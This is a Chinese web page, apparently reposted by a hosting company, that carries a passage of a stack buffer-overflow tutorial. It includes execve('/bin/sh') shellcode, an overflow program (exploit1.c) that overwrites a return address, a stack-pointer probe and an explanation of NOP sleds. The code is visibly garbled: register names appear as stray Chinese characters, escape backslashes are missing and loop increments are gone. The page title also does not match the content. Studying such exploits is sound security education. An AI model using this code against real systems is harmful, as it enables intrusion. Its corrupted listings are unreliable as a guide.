手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网站运营>建站经验>列表

早期的电脑入侵者

来源:互联网 作者:west263.com 时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

--------------------------------------------------------

OK! 现在我们能够试验一下这段ShellCode了. 首先我们把他封装为C语言的形式.

------------------------------------------------------------------------------

void main() {

__asm__("

jmp 0x18       # 2 bytes

popl %esi      # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl 陎,陎    # 2 bytes

movb 陎,0x7(%esi) # 3 bytes

movl 陎,0xc(%esi) # 3 bytes

movb  $0xb,%al    # 2 bytes

movl %esi,離    # 2 bytes

leal 0x8(%esi),靫 # 3 bytes

leal 0xc(%esi),韝 # 3 bytes

int  $0x80      # 2 bytes

call -0x2d      # 5 bytes

.string "/bin/sh" # 8 bytes

");

}

------------------------------------------------------------------------------

经过编译后,用gdb得到这段汇编语言的机器代码为:

xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh

现在我们能够写我们的试验程式了:

------------------------------------------------------------------------------

exploit1.c:

char shellcode[] =

"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";

char large_string[128];

void main()

{

 char buffer[96];

 int i;

 long *long_ptr = (long *) large_string;

 for(i=0;i<32;i ) *(long_ptr i)=(int)buffer;

 for(i=0;i<strlen(shellcode);i ) large_string[i]=shellcode[i];

 strcpy(buffer,large_string);

}

-------------------------------------------------------------------------------------

在上面的程式中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而确保在BufferOverflow 时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入 buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程式执行到main函数的结尾时,他会自动跳转到我们的ShellCode,从而创建出一个新的Shell.

现在我们编译运行一下这个程式:

------------------------------------------------------------------------------

[aleph1] $ gcc -o exploit1 exploit1.c

[aleph1] $ ./exploit1

 $ exit

exit

[aleph1] $

------------------------------------------------------------------------------

OK! 能够看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.

但是,这个例子还仅仅是个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用. 

--------------------------------------------------------------------------------

4. 实际运用中碰到的问题

 在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程式.因为是我们自己的程式,所以在运行时我们很方便地就能够确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.

 但是当我们试图攻击一个其他程式时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而假如得不到控制权,我们也就无法成功地攻击这个程式,那么我们上面所做的任何工作都白费了.由此能够看出,这个问题是我们要解决的一个关键问题.

 幸好对于任何程式来说堆栈的起始地址是相同的,而且在拷贝ShellCode之前,堆栈中已存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们能够通过猜测加试验的办法最终找到ShellCode的入口地址.

 下面就是个打印堆栈起始地址的程式:

sp.c

------------------------------------------------------------------------------

unsigned long get_sp(void) {

 __asm__("movl %esp,陎");

}

void main() {

 printf("0x%x ", get_sp());

}

------------------------------------------------------------------------------

[aleph1] $ ./sp

0x8000470

[aleph1] $

------------------------------------------------------------------------------

上面所说的方法虽然能解决这个问题, 但只要您稍微想一想就知道这个方法并不实用. 因为这个方法需要您在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.假如您运气好的话, 可能只要猜几十次就猜中了,但一般情况是,您必须要猜几百次到几千次才能猜中.而在您能够猜中前,我想大部分人都已放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.

一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是个任何事都不做的指令,主要用于延时操作,几乎任何CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程式就会一直执行直至执行到 ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可).

低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 高端内存

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!